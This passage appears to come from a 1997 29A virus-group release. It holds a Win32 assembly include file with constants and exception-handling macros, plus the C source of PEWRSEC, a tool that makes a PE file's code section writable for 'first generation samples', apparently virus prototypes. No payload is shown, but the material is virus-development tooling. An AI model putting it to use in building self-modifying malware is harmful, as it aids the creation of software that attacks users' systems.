SECTION_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR \


SECTION_QUERY OR \
SECTION_MAP_WRITE OR \
SECTION_MAP_READ OR \
SECTION_MAP_EXECUTE OR \
SECTION_EXTEND_SIZE

FILE_MAP_COPY EQU SECTION_QUERY


FILE_MAP_WRITE EQU SECTION_MAP_WRITE
FILE_MAP_READ EQU SECTION_MAP_READ
FILE_MAP_ALL_ACCESS EQU SECTION_ALL_ACCESS

PAGE_NOACCESS EQU 00000001h


PAGE_READONLY EQU 00000002h
PAGE_READWRITE EQU 00000004h
PAGE_WRITECOPY EQU 00000008h
PAGE_EXECUTE EQU 00000010h
PAGE_EXECUTE_READ EQU 00000020h
PAGE_EXECUTE_READWRITE EQU 00000040h
PAGE_EXECUTE_WRITECOPY EQU 00000080h
PAGE_GUARD EQU 00000100h
PAGE_NOCACHE EQU 00000200h
MEM_COMMIT EQU 00001000h
MEM_RESERVE EQU 00002000h
MEM_DECOMMIT EQU 00004000h
MEM_RELEASE EQU 00008000h
MEM_FREE EQU 00010000h
MEM_PRIVATE EQU 00020000h
MEM_MAPPED EQU 00040000h
MEM_TOP_DOWN EQU 00100000h
SEC_FILE EQU 00800000h
SEC_IMAGE EQU 01000000h
SEC_RESERVE EQU 04000000h
SEC_COMMIT EQU 08000000h
SEC_NOCACHE EQU 10000000h
MEM_IMAGE EQU SEC_IMAGE

; ÄÄ´ Code Page valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

CP_ACP EQU 0 ; ANSI code page


CP_OEMCP EQU 1 ; OEM code page
CP_MACCP EQU 2 ; MAC code page

; ÄÄ´ Message Box suport valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

MB_OK EQU 00000000h


MB_OKCANCEL EQU 00000001h
MB_ABORTRETRYIGNORE EQU 00000002h
MB_YESNOCANCEL EQU 00000003h
MB_YESNO EQU 00000004h
MB_RETRYCANCEL EQU 00000005h
MB_TYPEMASK EQU 0000000Fh

MB_ICONHAND EQU 00000010h


MB_ICONQUESTION EQU 00000020h
MB_ICONEXCLAMATION EQU 00000030h
MB_ICONASTERISK EQU 00000040h
MB_ICONMASK EQU 000000F0h

MB_ICONINFORMATION EQU MB_ICONASTERISK


MB_ICONSTOP EQU MB_ICONHAND

MB_DEFBUTTON1 EQU 00000000h


MB_DEFBUTTON2 EQU 00000100h
MB_DEFBUTTON3 EQU 00000200h
MB_DEFMASK EQU 00000F00h

MB_APPLMODAL EQU 00000000h


MB_SYSTEMMODAL EQU 00001000h
MB_TASKMODAL EQU 00002000h

MB_NOFOCUS EQU 00008000h

; ÄÄ´ Some general Win32 related structurez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

FILETIME STRUC
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
FILETIME ENDS

WIN32_FIND_DATA STRUC
WFD_dwFileAttributes DD ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh DD ?
WFD_nFileSizeLow DD ?
WFD_dwReserved0 DD ?
WFD_dwReserved1 DD ?
WFD_szFileName DB MAX_PATH DUP (?)
WFD_szAlternateFileName DB 13 DUP (?)
DB 3 DUP (?) ; dword padding
WIN32_FIND_DATA ENDS

SIZEOF_WIN32_FIND_DATA EQU SIZE WIN32_FIND_DATA


; ÄÄ´ Context related stuff (i386, i486) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

; The following flagz control the contentz of the CONTEXT structure:

CONTEXT_i386 EQU 00010000h ; This assumes that i386 and i486


CONTEXT_i486 EQU 00010000h ; have identical context recordz.

CONTEXT_CONTROL EQU (CONTEXT_i386 OR 01h) ; SS:SP, CS:IP, FLAGS, BP.


CONTEXT_INTEGER EQU (CONTEXT_i386 OR 02h) ; AX, BX, CX, DX, SI, DI.
CONTEXT_SEGMENTS EQU (CONTEXT_i386 OR 04h) ; DS, ES, FS, GS.
CONTEXT_FLOATING_POINT EQU (CONTEXT_i386 OR 08h) ; 387 state
CONTEXT_DEBUG_REGISTERS EQU (CONTEXT_i386 OR 10h) ; DB 0-3,6,7

CONTEXT_FULL EQU (CONTEXT_CONTROL OR CONTEXT_INTEGER OR \


CONTEXT_SEGMENTS)

; Size of the 80387 save area, which is in the context frame:

SIZE_OF_80387_REGISTERS EQU 80

FLOATING_SAVE_AREA STRUC
ControlWord DD ?
StatusWord DD ?
TagWord DD ?
ErrorOffset DD ?
ErrorSelector DD ?
DataOffset DD ?
DataSelector DD ?
RegisterArea DB SIZE_OF_80387_REGISTERS DUP (?)
Cr0NpxState DD ?
FLOATING_SAVE_AREA ENDS

; Context Frame:

CONTEXT STRUC

; The flags valuez - within the ContextFlags field - control the


; contentz of the CONTEXT structure.
;
; If the context record is used as an input parameter, then
; for each portion of the context record controlled by a flag
; whose value is set, it is asumed that that portion of the
; context record contains valid context. If the context record
; is being used to modify a threadz context, then only that
; portion of the threadz context will be modified.
;
; If the context record is used as an IN OUT parameter to capture
; the context of a thread, then only those portionz of the thread's
; context corresponding to set flags will be returned.
;
; The context record is never used as an OUT only parameter.

CONTEXT_ContextFlags DD ?

; This section is specified/returned if CONTEXT_DEBUG_REGISTERS is


; set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT
; included in CONTEXT_FULL:

CONTEXT_Dr0 DD ?
CONTEXT_Dr1 DD ?
CONTEXT_Dr2 DD ?
CONTEXT_Dr3 DD ?
CONTEXT_Dr6 DD ?
CONTEXT_Dr7 DD ?

; This section is specified/returned if the


; ContextFlags word contains the flag CONTEXT_FLOATING_POINT:

CONTEXT_FloatSave FLOATING_SAVE_AREA ?

; This section is specified/returned if the


; ContextFlags word contains the flag CONTEXT_SEGMENTS:

CONTEXT_SegGs DD ?
CONTEXT_SegFs DD ?
CONTEXT_SegEs DD ?
CONTEXT_SegDs DD ?

; This section is specified/returned if the


; ContextFlags word contains the flag CONTEXT_INTEGER:

CONTEXT_Edi DD ?
CONTEXT_Esi DD ?
CONTEXT_Ebx DD ?
CONTEXT_Edx DD ?
CONTEXT_Ecx DD ?
CONTEXT_Eax DD ?

; This section is specified/returned if the


; ContextFlags word contains the flag CONTEXT_CONTROL:

CONTEXT_Ebp DD ?
CONTEXT_Eip DD ?
CONTEXT_SegCs DD ? ; MUST BE SANITIZED
CONTEXT_EFlags DD ? ; MUST BE SANITIZED
CONTEXT_Esp DD ?
CONTEXT_SegSs DD ?

CONTEXT ENDS

; ÄÄ´ Structured Exception Handling (SEH) related stuff ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

; This structure is the one pointed to by FS:[0]:

EXCEPTIONREGISTRATIONRECORD STRUC ; != EXCEPTION_RECORD structure


ERR_prev_structure DD EXCEPTIONREGISTRATIONRECORD PTR ?
ERR_ExceptionHandler DD BYTE PTR ? ; CODE PTR
; These are the minimun fieldz required for proper OS operation
; Other undocumented fieldz exist for Microsoft and Borland compilerz
EXCEPTIONREGISTRATIONRECORD ENDS

; Exception record definition:

EXCEPTION_MAXIMUM_PARAMETERS EQU 15 ; max # of except paramz

EXCEPTION_RECORD STRUC
ER_ExceptionCode DD ?
ER_ExceptionFlags DD ?
ER_ExceptionRecord DD EXCEPTION_RECORD PTR ?
ER_ExceptionAddress DD BYTE PTR ? ; CODE PTR
ER_NumberParameters DD ?
ER_ExceptionInformation DD EXCEPTION_MAXIMUM_PARAMETERS DUP (?)
EXCEPTION_RECORD ENDS

EXCEPTION_POINTERS STRUC
EP_ExceptionRecord DD EXCEPTION_RECORD PTR ?
EP_ContextRecord DD CONTEXT PTR ?
EXCEPTION_POINTERS ENDS

; Other SEH related constantz and return valuez:

EXCEPTION_EXECUTE_HANDLER EQU 1
EXCEPTION_CONTINUE_SEARCH EQU 0
EXCEPTION_CONTINUE_EXECUTION EQU -1

EXCEPTION_ACCESS_VIOLATION EQU 0C0000005h


EXCEPTION_DATATYPE_MISALIGNMENT EQU 080000002h
EXCEPTION_BREAKPOINT EQU 080000003h
EXCEPTION_SINGLE_STEP EQU 080000004h
EXCEPTION_ARRAY_BOUNDS_EXCEEDED EQU 0C000008Ch
EXCEPTION_FLT_DENORMAL_OPERAND EQU 0C000008Dh
EXCEPTION_FLT_DIVIDE_BY_ZERO EQU 0C000008Eh
EXCEPTION_FLT_INEXACT_RESULT EQU 0C000008Fh
EXCEPTION_FLT_INVALID_OPERATION EQU 0C0000090h
EXCEPTION_FLT_OVERFLOW EQU 0C0000091h
EXCEPTION_FLT_STACK_CHECK EQU 0C0000092h
EXCEPTION_FLT_UNDERFLOW EQU 0C0000093h
EXCEPTION_INT_DIVIDE_BY_ZERO EQU 0C0000094h
EXCEPTION_INT_OVERFLOW EQU 0C0000095h
EXCEPTION_PRIV_INSTRUCTION EQU 0C0000096h
EXCEPTION_IN_PAGE_ERROR EQU 0C0000006h
EXCEPTION_ILLEGAL_INSTRUCTION EQU 0C000001Dh
EXCEPTION_NONCONTINUABLE_EXCEPTION EQU 0C0000025h
EXCEPTION_STACK_OVERFLOW EQU 0C00000FDh
EXCEPTION_INVALID_DISPOSITION EQU 0C0000026h
EXCEPTION_GUARD_PAGE EQU 080000001h

; Useful structure to access the "Except_Handler" function argumentz:

Except_Handler STRUC
EH_Dummy DD ? ; Ret address
EH_ExceptionRecord DD EXCEPTION_RECORD PTR ?
EH_EstablisherFrame DD BYTE PTR ?
EH_ContextRecord DD CONTEXT PTR ?
EH_DispatcherContext DD BYTE PTR ?
Except_Handler ENDS

; The following macroz "@SEH_SetupFrame" and "@SEH_RemoveFrame" are limited


; assembler versionz of the _try and _except keywordz used in C language.
; They provide fast and powerful "Structured Exception Handling" support
; for Win32 applicationz in a few linez of code. Though Microsoft seems
; intent on hiding the details of OS-level structured exception handling,
; this code relies on documented featurez of the Win32 API implementation
; and as such it works in both Windoze 95 and Windoze NT.

@SEH_SetupFrame macro ExceptionHandler


local set_new_eh
call set_new_eh
mov esp,[esp.EH_EstablisherFrame]
ExceptionHandler
set_new_eh: xor edx,edx ; Setup new SEH frame
push dword ptr fs:[edx]
mov fs:[edx],esp
endm

; The ExceptionHandler argument in the @SEH_SetupFrame macro definition


; can be a single instruction or another macro containing several of them.
@SEH_RemoveFrame macro
xor edx,edx ; Remove new SEH frame and set old
pop dword ptr fs:[edx]
pop edx
endm

comment #
// Exception disposition return values.

typedef enum _EXCEPTION_DISPOSITION {


ExceptionContinueExecution,
ExceptionContinueSearch,
ExceptionNestedException,
ExceptionCollidedUnwind
} EXCEPTION_DISPOSITION;

EXCEPTION_DISPOSITION __cdecl _except_handler (


struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext
);
#

; ÄÄ´ Some Win32 function prototypez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

comment *
HANDLE CreateFileA
(ptr) lpFileName ; ptr to name of file
dwDesiredAccess ; access (read-write) mode
dwShareMode ; share mode
(ptr) lpSecurityAttributes ; ptr to SECURITY_ATTRIBUTES struc
dwCreationDisposition ; how to create
dwFlagsAndAttributes ; file and flag attributez
(hnd) hTemplateFile ; handle to file with attributez to copy

Returns: opened handle if ok, INVALID_HANDLE_VALUE if error.

; dwDesiredAccess valuez:

GENERIC_READ
GENERIC_WRITE

; dwShareMode valuez:

0 ; not shared
FILE_SHARE_READ
FILE_SHARE_WRITE

; dwCreationDisposition valuez:

CREATE_NEW
CREATE_ALWAYS
OPEN_EXISTING
OPEN_ALWAYS
TRUNCATE_EXISTING

; dwFlagsAndAttributes valuez:

FILE_ATTRIBUTE_READONLY
FILE_ATTRIBUTE_HIDDEN
FILE_ATTRIBUTE_SYSTEM
FILE_ATTRIBUTE_ARCHIVE
FILE_ATTRIBUTE_NORMAL
FILE_ATTRIBUTE_COMPRESSED

FILE_FLAG_WRITE_THROUGH
FILE_FLAG_OVERLAPPED
FILE_FLAG_NO_BUFFERING
FILE_FLAG_RANDOM_ACCESS
FILE_FLAG_SEQUENTIAL_SCAN
FILE_FLAG_DELETE_ON_CLOSE
FILE_FLAG_BACKUP_SEMANTICS
FILE_FLAG_POSIX_SEMANTICS

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

HANDLE CreateFileMappingA
(hnd) hFile ; file handle to map
(ptr) lpFileMappingAttributes ; ptr to SECURITY_ATTRIBUTES struc
flProtect ; protection for mapping object
dwMaximumSizeHigh ; high-order 32 bitz of object size
dwMaximumSizeLow ; low-order 32 bitz of object size
(ptr) lpName ; name of file-mapping object

Returns: handle to file-mapping object if ok, NULL if error.

; flProtect valuez:

PAGE_READONLY
PAGE_READWRITE
PAGE_WRITECOPY

SEC_COMMIT
SEC_IMAGE
SEC_NOCACHE
SEC_RESERVE

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

LPVOID MapViewOfFile
(hnd) hFileMappingObject ; mapping object to map into address space
dwDesiredAccess ; access mode
dwFileOffsetHigh ; high-order 32 bitz of file offset
dwFileOffsetLow ; low-order 32 bitz of file offset
dwNumberOfBytesToMap ; number of bytez to map

Returns: starting address of the mapped view if ok, NULL if error.

; dwDesiredAccess:

FILE_MAP_WRITE
FILE_MAP_READ
FILE_MAP_ALL_ACCESS
FILE_MAP_COPY

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

HANDLE FindFirstFileA
(ptr) lpFileName ; ptr to name of file to search for
(ptr) lpFindFileData ; ptr to WIN32_FIND_DATA struc

Returns: opened handle if ok, INVALID_HANDLE_VALUE if error.


it also fills structure pointed by lpFindFileData on return.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
*

; ÄÄ´ Some macroz for most common functionz ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

@OpenFile macro ; open file with r/o or r/w access, not shared
; on input: ECX = desired access, EDX = pszFileName
xor eax,eax
push eax ; 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax ; NULL
push eax ; 0
push ecx ; desired access
push edx ; pszFileName
call CreateFileA
endm

@OpenFileR macro pszFileName ; Open file for r/o access, not shared
xor eax,eax
push eax ; 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax ; NULL
push eax ; 0
push GENERIC_READ
push pszFileName
call CreateFileA
endm

@OpenFileW macro pszFileName ; Open file for r/w access, not shared
xor eax,eax
push eax ; 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax ; NULL
push eax ; 0
push GENERIC_READ OR GENERIC_WRITE
push pszFileName
call CreateFileA
endm
/*
. .: .:.. :.. .. .:.::. :. ..:
<<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
.:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
. .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
>===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
.: .:.. ..:. .: ..:.::. ::.. :.:.

[PEWRSEC]
PE Write Section, by Jacky Qwerty/29A

Here's a new utility from 29A. This program simply sets the write bit to a
section in a PE file. This is needed when you need write access to the code
section in a first generation sample, for instance. There is one utility
from the SDK (EDITBIN) which does exactly the same thing with PE filez, but
it needs some huge DLLz from VC to work. On the other hand, PEWRSEC can be
compiled as a stupid COM file. Hope this will be handy enough for you ;)

*/
/*- -[PEWRSEC.C]- - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "types.h"
#include "mz.h"
#include "pe.h"

#define SizeBuffMZ sizeof(IMAGE_DOS_HEADER)


#define SizeBuffPE (4 + IMAGE_SIZEOF_FILE_HEADER + IMAGE_SIZEOF_STD_OPTIONAL_HEADER)
#define SizeBuffSH IMAGE_SIZEOF_SECTION_HEADER
#define SizeBuffMax max(SizeBuffMZ, max(SizeBuffPE, SizeBuffSH))

INT Strncmpz(BYTE *S1, BYTE *S2, INT Count) {


while (Count--) {
if (*S1 < *S2) return -1; // This fucntion doesnt seem to be implemented
if (*S1 > *S2++) return 1; // in the standard C string library, It combines
if (!*S1++) break; } // the funtionality of "strcmp" and "strncmp".
return 0;
}

INT main(INT argc, CHAR *argv[]) {


FILE *File;
INT RetValue = 1;
PCHAR SecName = NULL, FileName = NULL;
WORD Sections;
PIMAGE_DOS_HEADER pMZ;
PIMAGE_NT_HEADERS pPE;
PIMAGE_SECTION_HEADER pSH;
CHAR Buffer[SizeBuffMax];
printf("PEWRSEC - Sets the WRITE bit to a PE section - (c) 1997 jqwerty/29A\n\n");
if (argc != 2 && argc != 3) {
printf(" Syntax: PEWRSEC [/SEC:<SectionName>] <FileName> (default: code section)\n");
Ret: return RetValue; }
while (--argc) {
if (*argv[argc] != '/') {
if ((FileName = argv[argc]) == NULL) { printf("No filename specified\n"); goto Ret; } }
else if (!strncmpi(argv[argc] + 1, "SEC:", 4)) SecName = argv[argc] + 5;
else { printf("Unknown option '%s'\n", argv[argc]); goto Ret; } }
if ((File = fopen(FileName, "rb+")) == 0) {
printf("Can't open '%s'\n", FileName); goto Ret; }
if (!fread(pMZ = (PIMAGE_DOS_HEADER)Buffer, SizeBuffMZ, 1, File)) {
ReadErr:
if (!feof(File)) { printf("Error reading file\n"); CloseFile: fclose(File); goto Ret; }
else { InvalidPE: printf("Not a valid PE file\n"); goto CloseFile; } }
if (pMZ->e_magic != IMAGE_DOS_SIGNATURE) goto InvalidPE;
if (fseek(File, pMZ->e_lfanew, SEEK_SET)) {
SeekErr:
if (errno != EBADF) { printf("Error in file seek\n"); goto CloseFile; }
else goto InvalidPE; }
if (!fread(pPE = (PIMAGE_NT_HEADERS)Buffer, SizeBuffPE, 1, File)) goto ReadErr;
if (pPE->Signature != IMAGE_NT_SIGNATURE || !(Sections = pPE->FileHeader.NumberOfSections))
goto InvalidPE;
if (fseek(File, FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pPE->FileHeader.
SizeOfOptionalHeader - SizeBuffPE, SEEK_CUR)) goto SeekErr;
do {
if (!fread(pSH = (PIMAGE_SECTION_HEADER)Buffer, SizeBuffSH, 1, File)) goto ReadErr;
if (SecName) { if (!Strncmpz(SecName, pSH->Name, 8)) break; }
else if (pSH->VirtualAddress <= pPE->OptionalHeader.AddressOfEntryPoint && pPE->
OptionalHeader.AddressOfEntryPoint < pSH->VirtualAddress + pSH->Misc.VirtualSize) break;
} while (--Sections);
if (!Sections) { printf("Section not found\n"); goto CloseFile; }
if (!(pSH->Characteristics & IMAGE_SCN_MEM_WRITE)) {
pSH->Characteristics |= IMAGE_SCN_MEM_WRITE;
if (fseek(File, - SizeBuffSH, SEEK_CUR)) goto SeekErr;
if (!fwrite(pSH, SizeBuffSH, 1, File) || fflush(File)) {
printf("Error writing file\n"); goto CloseFile; } }
printf("Ok\n"); RetValue = 0; goto CloseFile;
}

/*- -[MZ.H] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */

//
// DOS EXE MZ format
//

#define IMAGE_DOS_SIGNATURE 0x5A4D // MZ

typedef struct _IMAGE_DOS_HEADER { // DOS EXE header


WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

/*- -[PE.H] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */

//
// Portable Executable format
//

#define IMAGE_NT_SIGNATURE 0x00004550 // PE00

// File header format.

typedef struct _IMAGE_FILE_HEADER {


WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

#define IMAGE_SIZEOF_FILE_HEADER 20

#define IMAGE_FILE_RELOCS_STRIPPED 0x0001 // Relocation info stripped from file.


#define IMAGE_FILE_EXECUTABLE_IMAGE 0x0002 // File is executable (i.e. no
unresolved externel references).
#define IMAGE_FILE_LINE_NUMS_STRIPPED 0x0004 // Line nunbers stripped from file.
#define IMAGE_FILE_LOCAL_SYMS_STRIPPED 0x0008 // Local symbols stripped from file.
#define IMAGE_FILE_MINIMAL_OBJECT 0x0010 // Reserved.
#define IMAGE_FILE_UPDATE_OBJECT 0x0020 // Reserved.
#define IMAGE_FILE_16BIT_MACHINE 0x0040 // 16 bit word machine.
#define IMAGE_FILE_BYTES_REVERSED_LO 0x0080 // Bytes of machine word are reversed.
#define IMAGE_FILE_32BIT_MACHINE 0x0100 // 32 bit word machine.
#define IMAGE_FILE_DEBUG_STRIPPED 0x0200 // Debugging info stripped from file in
.DBG file
#define IMAGE_FILE_PATCH 0x0400 // Reserved.
#define IMAGE_FILE_SYSTEM 0x1000 // System File.
#define IMAGE_FILE_DLL 0x2000 // File is a DLL.
#define IMAGE_FILE_BYTES_REVERSED_HI 0x8000 // Bytes of machine word are reversed.

#define IMAGE_FILE_MACHINE_UNKNOWN 0
#define IMAGE_FILE_MACHINE_I386 0x14c // Intel 386.
#define IMAGE_FILE_MACHINE_R3000 0x162 // MIPS little-endian, 0540 big-endian
#define IMAGE_FILE_MACHINE_R4000 0x166 // MIPS little-endian
#define IMAGE_FILE_MACHINE_ALPHA 0x184 // Alpha_AXP
#define IMAGE_FILE_MACHINE_POWERPC 0x1F0 // IBM PowerPC Little-Endian

// Directory format.

typedef struct _IMAGE_DATA_DIRECTORY {


DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16

// Optional header format.

typedef struct _IMAGE_OPTIONAL_HEADER {

// Standard fields.

WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;

// NT additional fields.

DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Reserved1;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;

#define IMAGE_SIZEOF_STD_OPTIONAL_HEADER 28
#define IMAGE_SIZEOF_NT_OPTIONAL_HEADER 224

#define IMAGE_NT_OPTIONAL_HDR_MAGIC 0x10b

typedef struct _IMAGE_NT_HEADERS {


DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER OptionalHeader;
} IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS;

// Calculate the byte offset of a field in a structure of type type.

#define FIELD_OFFSET(type, field) ((LONG)&(((type *)0)->field))

// Calculate the first section header

#define IMAGE_FIRST_SECTION( ntheader ) ((PIMAGE_SECTION_HEADER) \


((DWORD)ntheader + \
FIELD_OFFSET( IMAGE_NT_HEADERS, OptionalHeader ) + \
((PIMAGE_NT_HEADERS)(ntheader))->FileHeader.SizeOfOptionalHeader \
))

// Subsystem Values

#define IMAGE_SUBSYSTEM_UNKNOWN 0 // Unknown subsystem.


#define IMAGE_SUBSYSTEM_NATIVE 1 // Image doesn't require a subsystem.
#define IMAGE_SUBSYSTEM_WINDOWS_GUI 2 // Image runs in the Windows GUI subsystem.
#define IMAGE_SUBSYSTEM_WINDOWS_CUI 3 // Image runs in the Windows character
subsystem.
#define IMAGE_SUBSYSTEM_OS2_CUI 5 // image runs in the OS/2 character
subsystem.
#define IMAGE_SUBSYSTEM_POSIX_CUI 7 // image run in the Posix character
subsystem.

// Dll Characteristics

#define IMAGE_LIBRARY_PROCESS_INIT 1 // Dll has a process initialization routine.


#define IMAGE_LIBRARY_PROCESS_TERM 2 // Dll has a thread termination routine.
#define IMAGE_LIBRARY_THREAD_INIT 4 // Dll has a thread initialization routine.
#define IMAGE_LIBRARY_THREAD_TERM 8 // Dll has a thread termination routine.

// Loader Flags

#define IMAGE_LOADER_FLAGS_BREAK_ON_LOAD 0x00000001


#define IMAGE_LOADER_FLAGS_DEBUG_ON_LOAD 0x00000002

// Directory Entries

#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory


#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Debug Directory
#define IMAGE_DIRECTORY_ENTRY_COPYRIGHT 7 // Description String
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 // Machine Value (MIPS GP)
#define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 // Load Configuration Directory

// Section header format.

#define IMAGE_SIZEOF_SHORT_NAME 8

typedef struct _IMAGE_SECTION_HEADER {


BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

#define IMAGE_SIZEOF_SECTION_HEADER 40

#define IMAGE_SCN_TYPE_REGULAR 0x00000000 //


#define IMAGE_SCN_TYPE_DUMMY 0x00000001 // Reserved.
#define IMAGE_SCN_TYPE_NO_LOAD 0x00000002 // Reserved.
#define IMAGE_SCN_TYPE_GROUPED 0x00000004 // Used for 16-bit offset code.
#define IMAGE_SCN_TYPE_NO_PAD 0x00000008 // Reserved.
#define IMAGE_SCN_TYPE_COPY 0x00000010 // Reserved.

#define IMAGE_SCN_CNT_CODE 0x00000020 // Section contains code.


#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 // Section contains initialized data.
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 // Section contains uninitialized
data.
#define IMAGE_SCN_LNK_OTHER 0x00000100 // Reserved.
#define IMAGE_SCN_LNK_INFO 0x00000200 // Section contains comments or
some other type of information.
#define IMAGE_SCN_LNK_OVERLAY 0x00000400 // Section contains an overlay.
#define IMAGE_SCN_LNK_REMOVE 0x00000800 // Section contents will not become
part of image.
#define IMAGE_SCN_LNK_COMDAT 0x00001000 // Section contents comdat.

#define IMAGE_SCN_ALIGN_1BYTES 0x00100000 //


#define IMAGE_SCN_ALIGN_2BYTES 0x00200000 //
#define IMAGE_SCN_ALIGN_4BYTES 0x00300000 //
#define IMAGE_SCN_ALIGN_8BYTES 0x00400000 //
#define IMAGE_SCN_ALIGN_16BYTES 0x00500000 // Default alignment if no others
are specified.
#define IMAGE_SCN_ALIGN_32BYTES 0x00600000 //
#define IMAGE_SCN_ALIGN_64BYTES 0x00700000 //

#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000 // Section can be discarded.


#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000 // Section is not cachable.
#define IMAGE_SCN_MEM_NOT_PAGED 0x08000000 // Section is not pageable.
#define IMAGE_SCN_MEM_SHARED 0x10000000 // Section is shareable.
#define IMAGE_SCN_MEM_EXECUTE 0x20000000 // Section is executable.
#define IMAGE_SCN_MEM_READ 0x40000000 // Section is readable.
